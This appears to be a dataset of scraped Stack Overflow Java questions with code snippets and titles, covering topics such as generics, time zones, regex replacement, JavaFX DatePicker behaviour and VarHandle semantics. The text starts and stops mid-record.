if ( fileSize < size ) size = ( int ) fileSize ; }",java server/client save a downloadad file NOT to HDD +Java,Why following program every time prints I 'm string and not I 'm object . or I 'm int . ? Also if I replace int with Integer . It gives error as The constructor Demo ( String ) is ambiguous . Why ?,public class Demo { public Demo ( String s ) { System.out.println ( `` I 'm string '' ) ; } public Demo ( int i ) { System.out.println ( `` I 'm int . `` ) ; } public Demo ( Object o ) { System.out.println ( `` I 'm object . `` ) ; } public static void main ( String [ ] args ) { new Demo ( null ) ; } },Understanding which constructor is chosen and why +Java,"I 'm currently at a project where I work with Java 's custom annotations . I want to force the user of my annotation that he has to declare at least a final boolean b inside the method parameters list if he has annotated the method with @ Foo . So it should look something like this : With my annotation processor I can retrieve the type of the variable but not the final modifier . If i want to retrieve the set of modifiers as shown in the below code , the set will always be empty although the final modifier is present on the parameter.Any ideas , why this is the case ? Am I missing something ?",@ Foopublic void foo ( final boolean b ) { } @ Foopublic void bar ( ) { } // This should result in an error for ( VariableElement parameter : method.getParameters ( ) ) { Set < Modifier > modifiers = parameter.getModifiers ( ) ; // This set is always empty },"Annotation Processor , Getting Modifiers of Method Parameters" +Java,If we leave Frankfurt at 14:05 and arrives in Los Angeles at 16:40 . How long is the flight ? I tried the below : But I am not able to get the successful answer which is about 11hrs and 30min . Will some one please help me to figure out the problem above . Thanks you : ),"ZoneId frank = ZoneId.of ( `` Europe/Berlin '' ) ; ZoneId los = ZoneId.of ( `` America/Los_Angeles '' ) ; LocalDateTime dateTime = LocalDateTime.of ( 2015 , 02 , 20 , 14 , 05 ) ; LocalDateTime dateTime2 = LocalDateTime.of ( 2015 , 02 , 20 , 16 , 40 ) ; ZonedDateTime berlinDateTime = ZonedDateTime.of ( dateTime , frank ) ; ZonedDateTime losDateTime2 = ZonedDateTime.of ( dateTime2 , los ) ; int offsetInSeconds = berlinDateTime.getOffset ( ) .getTotalSeconds ( ) ; int offsetInSeconds2 = losDateTime2.getOffset ( ) .getTotalSeconds ( ) ; Duration duration = Duration.ofSeconds ( offsetInSeconds - offsetInSeconds2 ) ; System.out.println ( duration ) ;",Total time of flight between two time zones ? +Java,"I am going through Effective Java , Item-16 Favor composition over inheritance . I looked at the Forwarding class example below . I am wondering what 's the point of having a ForwardingSet class ? InstrumentedSet can very well implement Set and have a private instance of it which invokes all the methods . Is it to promote re-use and prevent redundancy if we end up having more InstrumentedSet like classes in the future which just need to do something in addition to the base behavior ? Is it just future-proofing the design or is there something else to it that I am missing ?",// Reusable forwarding class public class ForwardingSet < E > implements Set < E > { private final Set < E > s ; public ForwardingSet ( Set < E > s ) { this.s = s ; } public void clear ( ) { s.clear ( ) ; } public boolean contains ( Object o ) { return s.contains ( o ) ; } ... } // Wrapper class - uses composition in place of inheritance public class InstrumentedSet < E > extends ForwardingSet < E > { private int addCount = 0 ; public InstrumentedSet ( Set < E > s ) { super ( s ) ; } @ Override public boolean add ( E e ) { addCount++ ; return super.add ( e ) ; } ... },Effective Java item 16 ( 2nd edition ) - Is Forwarding class only used to allow re-use ? +Java,"Given a java memory configuration like the followingWhat would be the behaviour of the VM when memory usage increases past 512m ? Is there a particular algorithm that it follows ? ie . Does it go straight to the max , does it double , does it go in increments , or does it only allocate as it needs memory ? How expensive an operation is it ? I 'm looking specifically at the Oracle/Sun JVM , version 1.6 . I assume this is documented on the Oracle website somewhere , but I 'm having trouble finding it .",-Xmx2048m -Xms512m,Java Heap Behaviour +Java,"In my answer from yesterday I called the following piece of code `` a hack '' : Giving it another thought , this does not seem like a bad idea at all , but I might be missing something . Are there any potholes I missed out on ? Is this an acceptable ( possibly creative ) way for declaring aliases in Java ?","final class MyMap extends HashMap < SomeSuperLongIdentifier , OtherSuperLongIdentifier > { } // declared MyMap as an alias for readability purposes onlyMyMap a = new MyMap ( ) ; a.put ( `` key '' , `` val '' ) ;",Is is acceptable to declare a private class as an alias ? +Java,Why does this code compileBut this does n't,final ArrayList < ? > dp1 = new ArrayList < String > ( ) ; final ArrayList < ArrayList < ? > > dp2 = new ArrayList < ArrayList < String > > ( ) ;,Why does ArrayList < ArrayList < ? > > list = new ArrayList < ArrayList < String > > ( ) not compile ? +Java,"When I read the Java source code of HashMap.class , why does Java use 1 < < 4 , not 16 ?",/** The default initial capacity - MUST be a power of two . **/ static final int DEFAULT_INITIAL_CAPACITY = 1 < < 4 ; // aka 16,"Why does Java use int i = 1 < < 4 , not int i = 16 ?" +Java,"I have a string s and a regex . I would like to replace each match of the regex in s with a replacement string . The replacement string might contain one or more backslashes . To perform the replacement , I 'm using Matcher 's appendReplacement method.The problem with appendReplacement is that it ignores all the backlashes it encounters in the replacement string . So if I try replacing the substring `` match '' in the string `` one match '' with the replacement string `` a\\b '' , then appendReplacement results in `` one ab '' instead of `` one a\\b '' * : I have taken a look at appendReplacement 's code , and found out that it skips any encountered backslash : How can I replace each match with a replacement string that contains backslashes ? ( * ) - Note that there 's a single backslash in `` a\\b '' , not two . The backslash is just escaped .","Matcher matcher = Pattern.compile ( `` match '' ) .matcher ( `` one match '' ) ; StringBuffer sb = new StringBuffer ( ) ; matcher.find ( ) ; matcher.appendReplacement ( sb , `` a\\b '' ) ; System.out.println ( sb ) ; // one ab if ( nextChar == '\\ ' ) { cursor++ nextChar = replacement.charAt ( cursor ) ; ... }",Matcher 's appendReplacement method ignores the replacement 's backslashes +Java,Just moved from Java 11 to Java 14The following code is now failing on a linux machine : with stacktraceWhat has changed in Java 14 that would cause this ? I ran the equivalent code on Windows using java 14 and that did run okay . But I had retried with same code base on this unix machine using both Java 11 and Java 14 and can confirm that Java 11 always works and Java 14 always fails,"String linux_exe = System.getProperty ( `` user.dir '' ) + '/ ' + `` fpcalc_arm32 '' ; List < String > params = new ArrayList ( ) ; params.add ( linux_exe ) ; params.add ( `` -plain '' ) ; params.add ( `` -length '' ) ; params.add ( submittedSongLength ) ; params.add ( file.getPath ( ) ) ; Process p = Runtime.getRuntime ( ) .exec ( params.toArray ( new String [ 1 ] ) ) ; Can not run program `` /mnt/system/config/Apps/SongKong/songkong/fpcalc_arm32 '' : error=0 , Failed to exec spawn helper : pid : 13998 , exit value : 127java.io.IOException : Can not run program `` /mnt/system/config/Apps/SongKong/songkong/fpcalc_arm32 '' : error=0 , Failed to exec spawn helper : pid : 13998 , exit value : 127at java.base/java.lang.ProcessBuilder.start ( ProcessBuilder.java:1128 ) at java.base/java.lang.ProcessBuilder.start ( ProcessBuilder.java:1071 ) at java.base/java.lang.Runtime.exec ( Runtime.java:590 ) at java.base/java.lang.Runtime.exec ( Runtime.java:449 ) at com.jthink.songkong.analyse.acoustid.AcoustId.generateFingerprint ( AcoustId.java:217 ) at com.jthink.songkong.analyse.acoustid.AcoustId.createAcoustIdFingerprint ( AcoustId.java:106 )","Java , Failed to exec spawn helper error since moving to Java 14 on linux" +Java,"I got a strange case . In the given database , I got a record that has a VARCHAR field , so in my entity model I added this field , plus getters and setters . Now is the point where the fun starts : The string below is in fact a body of a method . It looks like this : and now — I need to make this string into a method , and to tell the truth I have no clue how to achieve this . This actual method needs to get from me a score as a double , and return an integer value depending on given score.Anyone ? EDITI know that the easiest way is to not to use solutions like this , but it 's not my call , besides , there 's a plenty of records like this in the database , and every record is different . We can not move this out . I have to deal with this — so please , solution ideas only , and I promise that I will do all the hating , and saying it 's stupid : ) Trust me , I am , and I do , and I will be doing complaining for quite some time .",if ( score < = 0.7 ) { return 0 ; } else if ( score < =0.8 ) { return 1 ; } else if ( score < =0.9 ) { return 2 ; } else { return 3 },Transform string into code in Java +Java,"I followed up this question but all mention solution did n't work for me.I am making an application similar to rainbow application . This application will be installed in the device which has to send all contacts to other device.The application is to be installed only in one device.I am able to connect to the remote device through this piece of code// BluetoothConnector ( Complete Code ) after pairing request is made and connection is done , I try to send data by outputstream to other device through this piece of code.//Output-stream Code ( Complete code ) but I am not able to send data as soon as mmOutStream.write ( buffer ) ; is called it gives following error.// Error Log ( Complete Log ) Kindly tell me what I am doing wrong in above code.Is it possible to transfer files over Bluetooth without implementing server side code ?","Class < ? > clazz = tmp.getRemoteDevice ( ) .getClass ( ) ; Class < ? > [ ] paramTypes = new Class < ? > [ ] { Integer.TYPE } ; Method m = clazz.getMethod ( `` createRfcommSocket '' , paramTypes ) ; Object [ ] params = new Object [ ] { Integer.valueOf ( 1 ) } ; fallbackSocket = ( BluetoothSocket ) m.invoke ( tmp.getRemoteDevice ( ) , params ) ; public void write ( byte [ ] buffer ) { try { Log.i ( TAG , `` write '' ) ; mmOutStream.write ( buffer ) ; } catch ( IOException e ) { Log.e ( TAG , `` Exception during write '' , e ) ; } 09-21 16:21:52.829 6262-6262/com.example.aadi.myapplication D/BT_app﹕ connection_done09-21 16:21:52.829 6262-6871/com.example.aadi.myapplication I/BT_app﹕ BEGIN mConnectedThread09-21 16:21:52.829 6262-6871/com.example.aadi.myapplication I/BT_app﹕ write09-21 16:21:52.829 6262-6262/com.example.aadi.myapplication D/BT_app﹕ msg write : [ B @ 4265cd7009-21 16:22:50.149 6262-6823/com.example.aadi.myapplication W/BluetoothAdapter﹕ getBluetoothService ( ) called with no BluetoothManagerCallback09-21 16:22:50.159 6262-6823/com.example.aadi.myapplication D/BluetoothSocket﹕ connect ( ) , SocketState : INIT , mPfd : { ParcelFileDescriptor : FileDescriptor [ 81 ] } 09-21 16:22:50.679 6262-6823/com.example.aadi.myapplication W/BT_app﹕ Fallback failed . Cancelling . java.io.IOException : read failed , socket might closed or timeout , read ret : -1 at android.bluetooth.BluetoothSocket.readAll ( BluetoothSocket.java:505 ) at android.bluetooth.BluetoothSocket.waitSocketSignal ( BluetoothSocket.java:482 ) at android.bluetooth.BluetoothSocket.connect ( BluetoothSocket.java:324 ) at com.example.aadi.myapplication.BluetoothConnector $ FallbackBluetoothSocket.connect ( BluetoothConnector.java:202 ) at com.example.aadi.myapplication.BluetoothConnector.connect ( BluetoothConnector.java:64 ) at com.example.aadi.myapplication.BluetoothService $ ConnectThread.run ( BluetoothService.java:218 ) 09-21 16:22:50.679 6262-6823/com.example.aadi.myapplication I/BT_app﹕ Attempting to connect to Protocol : 0000112f-0000-1000-8000-00805f9b34fb",Error while sending files through bluetooth in android ? +Java,"In this code I am making an implementation of a generic linkedlist in java.My Node class is defined likeNow my doubt is , I keep getting warnings when codingShould I ignore this , why does the compiler generate that . And is there a workaround it ? EDIT : b is of type LL , the function signature looks likeAnd head is a private instance variable of LL class","public class LL < Item extends Comparable < Item > > { private class Node { private Item data ; private Node next ; public Node ( Item data ) { this.data = data ; next = null ; } } Node x = head , y = ( Node ) b.head ; Type safety : Unchecked cast from LL.Node to LL < Item > .Node public void mergeAlternate ( LL b ) { private Node head ;",Unchecked Cast warning in Java ? +Java,"In HashMap class there is an inner class KeySet whose instance is returned by the HashMap 's instance method keySet ( ) . This inner class contains the following method.I understand the general semantics of `` this '' It is a reference to the `` current '' object . Can be used within constructors or any instance methods where it acts as a reference to the object being constructed or the object whose methods are being invoked.The above style of using `` this '' seems interesting , It is being used as if its a static variable of a class . It should still be referring to an object whose method is being invoked . In this logically it should be an HashMap instance.Given the above two it should be possible to have a static reference to any dynamically created instance object but that 's not possible since there could be infinite number of instances at runtime and there aren ’ t any language constructs to specify this relation between a class and its instances.I am definitely missing something , can someone help me understand this better .",public void clear ( ) { HashMap.this.clear ( ) ; },"HashMap.this.clear ( ) what does this mean , how does this work" +Java,I want to create an xml in the following formatWhat can i do if i do n't want a < PARAM > field with specific < NAME > in it ?,< parm-list > < param > < NAME > somename < /NAME > < VALUE > somevalue < /VALUE > < /param > < param > < NAME > somename < /NAME > < VALUE > somevalue < /VALUE > < /param > < param > < NAME > somename < /NAME > < VALUE > somevalue < /VALUE > < /param > < param > < NAME > somename < /NAME > < VALUE > somevalue < /VALUE > < /param > < /param-list >,Xstream how to avoid a field with specific value while marshaling +Java,"When I get an NPE , I 'll get a stack trace with line number.That 's helpful , but if the line is very dense and/or contains nested expression , it 's still impossible to figure out which reference was null.Surely , this information must 've been available somewhere.Is there a way to figure this out ? ( If not java expression , then at least the bytecode instruction that caused NPE would be helpful as well ) Edit # 1 : I 've seen a few comments suggesting breaking up the line , etc , which , no offence , is really non-constructive and irrelevant . If I could do that , I would have ! Let just say this modifying the source is out of the question . Edit # 2 : apangin has posted an excellent answer below , which I accepted . But it 's SOOO COOL that I had to include the output here for anyone who does n't want to try it out themselves ! ; ) So suppose I have this driver program TestNPE.javaThe bytecode looks like this ( showing only the main ( ) method and omitting other irrelevant parts ) Now when you run the TestNPE driver with the agent , you 'll get thisSo that points to the invokevirtual # 5 at offset 17 ! Just HOW COOL IS THAT ?","1 public class TestNPE { 2 public static void main ( String [ ] args ) { 3 int n = 0 ; 4 String st = null ; 5 6 System.out.println ( `` about to throw NPE '' ) ; 7 if ( n > = 0 & & st.isEmpty ( ) ) { 8 System.out.println ( `` empty '' ) ; 9 } 10 else { 11 System.out.println ( `` othereise '' ) ; 12 } 13 } 14 15 } Code : stack=2 , locals=3 , args_size=1 0 : iconst_0 1 : istore_1 2 : aconst_null 3 : astore_2 4 : getstatic # 2 // Field java/lang/System.out : Ljava/io/PrintStream ; 7 : ldc # 3 // String about to throw NPE 9 : invokevirtual # 4 // Method java/io/PrintStream.println : ( Ljava/lang/String ; ) V 12 : iload_1 13 : iflt 34 16 : aload_2 17 : invokevirtual # 5 // Method java/lang/String.isEmpty : ( ) Z 20 : ifeq 34 23 : getstatic # 2 // Field java/lang/System.out : Ljava/io/PrintStream ; 26 : ldc # 6 // String empty 28 : invokevirtual # 4 // Method java/io/PrintStream.println : ( Ljava/lang/String ; ) V 31 : goto 42 34 : getstatic # 2 // Field java/lang/System.out : Ljava/io/PrintStream ; 37 : ldc # 7 // String othereise 39 : invokevirtual # 4 // Method java/io/PrintStream.println : ( Ljava/lang/String ; ) V 42 : return $ java -agentpath : libRichNPE.o TestNPEabout to throw NPEException in thread `` main '' java.lang.NullPointerException : location=17 at TestNPE.main ( TestNPE.java:7 )",Is it possible to track down which expression caused an NPE ? +Java,"So far I have followed the instructions documented for Flink 's kinesis connector to use a local Kinesis.Using Non-AWS Kinesis Endpoints for TestingWith a Flink producer , these instructions work with a local kinesis ( I use Kinesalite ) .However , with a Flink consumer , I get an exception that aws.region and aws.endpoint are not both allowed . But region is required , which means its not possible to override the endpoint . org.apache.flink.client.program.ProgramInvocationException : The main method caused an error : For FlinkKinesisConsumer either AWS region ( 'aws.region ' ) or AWS endpoint ( 'aws.endpoint ' ) must be set in the config.Is this a bug in the connector ? I see a related PR : https : //github.com/apache/flink/pull/6045 .I found a workaround on Flink 's mailing list , but they describe this as an issue for the producer and not the consumer , whereas i see the opposite ( i think ) , so not sure about this . It 's really confusing .","Properties producerConfig = new Properties ( ) ; producerConfig.put ( AWSConfigConstants.AWS_REGION , `` us-east-1 '' ) ; producerConfig.put ( AWSConfigConstants.AWS_ACCESS_KEY_ID , `` aws_access_key_id '' ) ; producerConfig.put ( AWSConfigConstants.AWS_SECRET_ACCESS_KEY , `` aws_secret_access_key '' ) ; producerConfig.put ( AWSConfigConstants.AWS_ENDPOINT , `` http : //localhost:4567 '' ) ;",Apache Flink - Unable to use local Kinesis for FlinkKinesisConsumer +Java,"I 'd like to successfully run the code below ( belonging to this library ) when any of the buttons from this Rating Dialog are pressed . How can I do it ? Edit : I want to execute goToPickerActivity ( ) first and then execute the library 's intended click code . For example , when Rate App button is clicked : Step 1 is : execute goToPickerActivity ( ) .Once that 's complete , Step 2 is : run the usual Rate App clicked code .","public void goToPickerActivity ( ) { Intent intent = new com.sucho.placepicker.PlacePicker.IntentBuilder ( ) .onlyCoordinates ( true ) //Get only Coordinates from Place Picker .showLatLong ( true ) .setLatLong ( 40.71274 , -74.005974 ) // Initial Latitude and Longitude the Map will load into ( NYC coordinates ) .setMapZoom ( 2.5f ) // Map Zoom Level . Default : 14.0 .build ( this ) ; startActivityForResult ( intent , Constants.PLACE_PICKER_REQUEST ) ; }",Open another activity when dialog 's button is pressed ? +Java,"Is there a cheaper method call in Java 9+ which keeps its safepoint ? The JVM removes safepoints at runtime to improve efficiency however this can make profiling and monitoring the code more difficult . For this reason , we deliberately add trivial calls in carefully selected places to ensure there is a safepoint present.On Java 8 this overhead is fine , but Compiler.enable ( ) gets optimised away in Java 9+ so we have to use a much more expensive method , or not enable this feature.EDIT : Apart from profilers , I have used the safepoint ( ) to get better detail from Thread.getStackTrace ( ) so the application can profile itself e.g . when it takes too long to perform an action .",public static void safepoint ( ) { if ( IS_JAVA_9_PLUS ) Thread.holdsLock ( `` '' ) ; // 100 ns on Java 11 else Compiler.enable ( ) ; // 5 ns on Java 8 } public static void optionalSafepoint ( ) { if ( SAFEPOINT_ENABLED ) if ( IS_JAVA_9_PLUS ) Thread.holdsLock ( `` '' ) ; else Compiler.enable ( ) ; },Is there a lightweight method which adds a safepoint in Java 9+ +Java,"Here is the code , I defined two class named Father and Son , and create them in the main function : and I got the output like this : But I can not understand how this happened ? Anyone can tell me why ?",public class Test { public static void main ( String [ ] args ) { Father father = new Son ( ) ; } } class Father { private String name = `` father '' ; public Father ( ) { who ( ) ; tell ( name ) ; } public void who ( ) { System.out.println ( `` this is father '' ) ; } public void tell ( String name ) { System.out.println ( `` this is `` + name ) ; } } class Son extends Father { private String name = `` son '' ; public Son ( ) { who ( ) ; tell ( name ) ; } public void who ( ) { System.out.println ( `` this is son '' ) ; } public void tell ( String name ) { System.out.println ( `` this is `` + name ) ; } } this is sonthis is fatherthis is sonthis is son,What is the order of the Constructors in this Java Code ? +Java,"In my code I have multiple instances of List < Future < something > > and I wanted to have a single method that handles the wait for them to complete . But I get a compiler exception telling me that actual argument List < Future < Boolean > > can not be converted to List < Future < ? > > .This is the method head : and this is how it is called : I need this to work for List < Future < Map < String , String > > > and several other as well .",public void waitForIt ( < List < Future < ? > > params ) ... List < Future < Boolean > > actions = new ArrayList < Future < Boolean > > ( ) ; waitForIt ( actions ) ; < -- compiler error here ...,can not use List < Future < ? > > in method parameter when called from different places +Java,"I have a CDT-based debugger and want to add some information into the lettering in the thread node . I want the lettering surrounded by the red rectangle to display some additional information ( see screenshot below ) .AFAIR , the format string for this label is set in the property ThreadVMNode_No_columns__text_format in file C : \Users\ ... \workspace\org.eclipse.cdt.dsf.gdb.ui\src\org\eclipse\cdt\dsf\gdb\internal\ui\viewmodel\launch\MessagesForGdbLaunchVM.properties.This format string is used in method org.eclipse.cdt.dsf.gdb.internal.ui.viewmodel.launch.ThreadVMNode.createLabelProvider ( ) : AFAIK in order to add a new piece of information to the display it is necessary tooverride the format string MessagesForGdbLaunchVM.properties andadd the new string into the string array in the call to the constructor GdbExecutionContextLabelText.What is the best way to do both these things ( preferably not changing the code of the Eclipse/CDT core classes ) ? Update 1 ( 12.09.2014 19:56 MSK ) : Tried to use a custom debug presentation model by adding an extension , but the class MyCompanyDebugModelPresentation is not called anyhwere .","# { 0 } - name available , 0=not available/1=available # { 1 } - name # { 2 } - ID available , 0=not available/1=available # { 3 } - ID # { 4 } - OS Thread ID available , 0=not available/1=available # { 5 } - OS Thread ID # { 6 } - Core available , 0=not available/1=available # { 7 } - Core # { 8 } - 0=running/1=suspended # { 9 } - state change reason available , 0=not available/1=available # { 10 } - state change reason # { 11 } - state change details available , 0=not available/1=available # { 12 } - state change detailsThreadVMNode_No_columns__text_format= { 0 , choice,0 # Thread|1 # { 1 } } { 2 , choice,0 # |1 # [ { 3 } ] } { 4 , choice,0 # |1 # { 5 } } { 6 , choice,0 # |1 # [ core : { 7 } ] } ( { 8 , choice,0 # Running|1 # Suspended } { 9 , choice,0 # |1 # : { 10 } } { 11 , choice,0 # |1 # : { 12 } } ) public class ThreadVMNode extends AbstractThreadVMNode implements IElementLabelProvider , IElementMementoProvider { [ ... ] @ Override protected IElementLabelProvider createLabelProvider ( ) { PropertiesBasedLabelProvider provider = new PropertiesBasedLabelProvider ( ) ; provider.setColumnInfo ( PropertiesBasedLabelProvider.ID_COLUMN_NO_COLUMNS , new LabelColumnInfo ( new LabelAttribute [ ] { // Text is made of the thread name followed by its state and state change reason . new GdbExecutionContextLabelText ( MessagesForGdbLaunchVM.ThreadVMNode_No_columns__text_format , new String [ ] { ExecutionContextLabelText.PROP_NAME_KNOWN , PROP_NAME , ExecutionContextLabelText.PROP_ID_KNOWN , ILaunchVMConstants.PROP_ID , IGdbLaunchVMConstants.PROP_OS_ID_KNOWN , IGdbLaunchVMConstants.PROP_OS_ID , IGdbLaunchVMConstants.PROP_CORES_ID_KNOWN , IGdbLaunchVMConstants.PROP_CORES_ID , ILaunchVMConstants.PROP_IS_SUSPENDED , ExecutionContextLabelText.PROP_STATE_CHANGE_REASON_KNOWN , ILaunchVMConstants.PROP_STATE_CHANGE_REASON , ExecutionContextLabelText.PROP_STATE_CHANGE_DETAILS_KNOWN , ILaunchVMConstants.PROP_STATE_CHANGE_DETAILS } ) , < extension point= '' org.eclipse.debug.ui.debugModelPresentations '' > < debugModelPresentation class= '' com.mycompany.internal.debug.ui.model.MyCompanyDebugModelPresentation '' id= '' com.mycompany.internal.debug.ui.model.MyCompanyDebugModelPresentation '' > < /debugModelPresentation > < /extension >",How to change the text in the thread group display in CDT-based eclipse debugger ? +Java,"I have a friend whose teacher considers this good practice : I googled this , but did n't find an explanation for it , though as expected there were other users of this method ; mainly teachers.Could it be that it does n't matter if you do it or not , and that it 's just a matter of clarity and pedagogy ? Even if you do n't have a definite answer , any input is appreciated .",public void enterAnythingToContinue ( ) { String junk = in.nextLine ( ) ; },Is it good practice to create an unused reference to the value returned by a called method ? +Java,"Here is some code from a lock-free queue using compareAndSet ( in Java ) : ( head and tail are the members of the queue ) In both the deq and enq function , the first check seems unnecessary to me . ( The ones commented with `` ? ? ? `` ) I suspect it 's there just for some kind of optimization.Am I missing something here ? Do these checks affect the correctness of the code ? ( The code is taken from the `` Art of Multi-processor Programming '' , though I did refactor the code style to have less nested ifs and elses , while keeping the code equivalent )","public void enq ( T value ) { Node newNode = new Node ( value ) ; while ( true ) { Node last = tail.get ( ) ; Node next = last.next.get ( ) ; if ( last ! = tail.get ( ) ) continue ; // ? ? ? if ( next ! = null ) { //improve tail tail.compareAndSet ( last , next ) ; continue ; } if ( last.next.compareAndSet ( null , newNode ) ) { //update last node tail.compareAndSet ( last , newNode ) ; //update tail return ; } } } public T deq ( ) throws EmptyException { while ( true ) { Node first = head.get ( ) ; Node last = tail.get ( ) ; Node next = first.next.get ( ) ; if ( first ! = head.get ( ) ) continue ; // ? ? ? if ( first == last ) { if ( next == null ) throw new EmptyException ( ) ; tail.compareAndSet ( last , next ) ; continue ; } T value = next.value ; if ( head.compareAnsdSet ( first , next ) ) { return value ; } } }",Are these lines in a lock-free queue not necessary ? +Java,"I keep fighting to understand what VarHandle : :setOpaque and VarHandle : :getOpaque are really doing . It has not been easy so far - there are some things I think I get ( but will not present them in the question itself , not to muddy the waters ) , but overall this is miss-leading at best for me.The documentation : Returns the value of a variable , accessed in program order ... Well in my understanding if I have : These reads can be re-ordered . On the other had if I have : This time re-orderings are not possible ? And this is what it means `` program order '' ? Are we talking about insertions of barriers here for this re-ordering to be prohibited ? If so , since these are two loads , would the same be achieved ? via : But it gets a lot trickier : ... but with no assurance of memory ordering effects with respect to other threads.I could not come up with an example to even pretend I understand this part.It seems to me that this documentation is targeted at people who know exactly what they are doing ( and I am definitely not one ) ... So can someone shed some light here ?","int xx = x ; // read xint yy = y ; // read y // simplified code , does not compile , but reads happen on the same `` this '' for exampleint xx = VarHandle_X.getOpaque ( x ) ; int yy = VarHandle_Y.getOpaque ( y ) ; int xx = x ; VarHandle.loadLoadFence ( ) int yy = y ;",VarHandle get/setOpaque +Java,"The following issue is occurring with JDK 1.8 ( 8u231 ) , Windows 10I have a DatePicker setup with a listener that shows an Alert when the value changes . However , as soon as the Alert is displayed , the datePicker.valueProperty ( ) reverts back to its original value.This does not appear to be `` working as designed '' and multiple other developers have confirmed the issue does not exist in later versions of Java.Here is a MCVE to demonstrate : The Alert itself does display the correct date , but the DatePicker valueProperty ( ) reverts back to null , as seen in this screenshot : Using IntelliJ 's debugger , I can confirm the datePicker.valueProperty ( ) is set to 'null ' as soon as alert.show ( ) ( or alert.showAndWait ( ) ) is called . Closest Potential Known Bugs : I was able to find a few known bugs that seem to be related , but they have all been marked as resolved as of 8u73 ( possible regression ? ) : JDK-8097293 : [ DatePicker ] Does not change to new selected value if modal window is shown in DatePicker-actionJDK-8138730 : [ ComboBox , DatePicker ] Value does n't update when focus is lostJDK-8136838 : [ ComboBox , DatePicker ] Value does n't update when focus is lost","import javafx.application.Application ; import javafx.geometry.Insets ; import javafx.geometry.Pos ; import javafx.scene.Scene ; import javafx.scene.control.Alert ; import javafx.scene.control.DatePicker ; import javafx.scene.layout.VBox ; import javafx.stage.Stage ; public class DatePickerCommit extends Application { public static void main ( String [ ] args ) { launch ( args ) ; } @ Override public void start ( Stage primaryStage ) { // Simple Interface VBox root = new VBox ( 10 ) ; root.setAlignment ( Pos.CENTER ) ; root.setPadding ( new Insets ( 10 ) ) ; DatePicker datePicker = new DatePicker ( ) ; // Add listener on DatePicker datePicker.valueProperty ( ) .addListener ( ( observable , oldValue , newValue ) - > { if ( newValue ! = null ) { // Show an Alert Alert alert = new Alert ( Alert.AlertType.WARNING ) ; alert.setContentText ( `` You selected `` + newValue ) ; alert.show ( ) ; alert.setY ( alert.getY ( ) +100 ) ; } } ) ; root.getChildren ( ) .add ( datePicker ) ; // Show the stage primaryStage.setScene ( new Scene ( root ) ) ; primaryStage.setTitle ( `` Sample '' ) ; primaryStage.show ( ) ; } }",DatePicker does not commit value if focus is changed within ChangeListener +Java,I call a java function in Clojure to get a list of files.And I get a whole bunch of strings like theseetc . How do I get rid of the brackets and put them in some form of an array so another function can access it ?,( require ' [ clojure.java.io : as io ] ) ( str ( .listFiles ( io/file `` /home/loluser/loldir '' ) ) ) # < File /home/loluser/loldir/lolfile1 >,A way to strip returned values from java.io.File.listFiles in Clojure +Java,I 'm currently learning about streams and am using the .average function to figure out the average of some integers that are input using the scanner . The problem I 'm running into is how to format the output so that it does n't say optional double . This is the output I 'm getting,import java.util.Scanner ; import java.util.ArrayList ; import java.util.Arrays ; import java.util.LinkedList ; import java.util.List ; import java.util.Map ; import java.util.stream.Collectors ; public class ClassAverage { public static void main ( String [ ] args ) { Scanner scan = new Scanner ( System.in ) ; List < Integer > grades = new ArrayList < Integer > ( ) ; while ( scan.hasNextInt ( ) ) { grades.add ( scan.nextInt ( ) ) ; if ( scan.equals ( `` end '' ) ) { { break ; } } grades.forEach ( System.out : :println ) ; } System.out.println ( `` '' + grades.stream ( ) .mapToInt ( Integer : :intValue ) .average ( ) ) ; } } OptionalDouble [ 88.0 ],Print result of IntStream average +Java,"I got a StringIndexOutOfBoundsException for setCharAt ( int index , char ch ) : StringBuilder ( int capacity ) : Constructs a string builder with no characters in it and an initial capacity specified by the capacity argument.setCharAt ( int index , char ch ) : The character at the specified index is set to ch.The only thing I can think of is that no memory was allocated , but then what 's the point of StringBuilder ( int capacity ) ?","StringBuilder word = new StringBuilder ( 4 ) ; for ( int i = 0 ; i < 4 ; i++ ) word.setCharAt ( i , '- ' ) ;",Simple StringBuilder constructor/method issue +Java,"I am running a Java program written by another person on more data than the program was initially designed for , e.g . 10-times longer input files , roughly quadratic runtime . I encountered different problems and now aim to solve them bit by bit.During execution when a lot of output has already been printed ( redirected to a file ) I get following output : The stack trace is the first thing that confuses me as it is a long repetition of just the same line again and again . Furthermore , it gives no intention where in the code or the execution the problem occurred.My thoughts / research StackOverflowErrormay indicate too less memory . With -Xmx110G flag I provided 110 G memory and monitored it while execution , only up to ~32 G were used . So this is probably not the problem here.may be thrown due to programming mistakes causing an infinite loop . However , I cant really check this since I am not familiar enough with the code and the stack trace does not help me finding the location of the problem in the code . [ hypothesis ] may be caused , because the writing of output is slower than execution and new print/write calls . Still , why is there no further stack trace ? How could I check and fix this ? PrintStreamonly code fragments after searching for `` PrintStream '' [ hypothesis ] the write to void / null does not work [ workaround ] if skip the change of output stream and just `` live '' with the big output created the programm seems to run ( into other problems , but this is another case ) . Any ideas why this is happening ? Call for adviceIf you have any advice on what is going one , what the Java code specifically does , please help me understand it . Especially the stack trace frustrates me as it provides no place to begin the fixing . I am also thankful for a general approach on how to tackle this problem , get a stack trace , fix the code to avoid StackOverflow , etc.Some system environment factsLinux machine128 G memoryJava Please ask if you need more information ! NotesI am rather new to Java so I am grateful for every advice ( the program is not written by me ) This is my first post on stackoverflow , please inform me where I can improve my style of asking and formattingI am no native English speaker , so please excuse mistakes and feel free to ask for understanding or correct meThanks all for your replies !","Exception in thread `` main '' java.lang.StackOverflowError at java.io.PrintStream.write ( PrintStream.java:480 ) [ ... ] at java.io.PrintStream.write ( PrintStream.java:480 ) // reset output stream to suppress the annoying output of the Apache batik library . Gets reset after lib call . OutputStream tmp=System.out ; System.setOut ( new PrintStream ( new org.apache.commons.io.output.NullOutputStream ( ) ) ) ; drawRes.g2d.stream ( new FileWriter ( svgFilePath ) , false ) ; System.setOut ( new PrintStream ( tmp ) ) ; openjdk version `` 1.8.0_121 '' OpenJDK Runtime Environment ( IcedTea 3.3.0 ) ( suse-28.1-x86_64 ) OpenJDK 64-Bit Server VM ( build 25.121-b13 , mixed mode )",Java StackOverflowError at java.io.PrintStream.write ( PrintStream.java:480 ) and no further stack trace +Java,"I am making a keyboard-like buttons for my Hangman game ( SEE PICTURE HERE ) , my problem is about the inner classes . I 've read this LINK about inner classes and it says that you can only access the outside variables with FINAL type . But if I declared the variable as such , I can not change the value of it anymore ... So my problem is that I need to change the value inside the inner class . My code is as follows : NOTE : The code above is not complete.The int checker is used to count how many correct letters are already guessed so that if it is equal to the length of the word , I can now proceed to the next levelHow can I re-do my code ?","public class MainGame 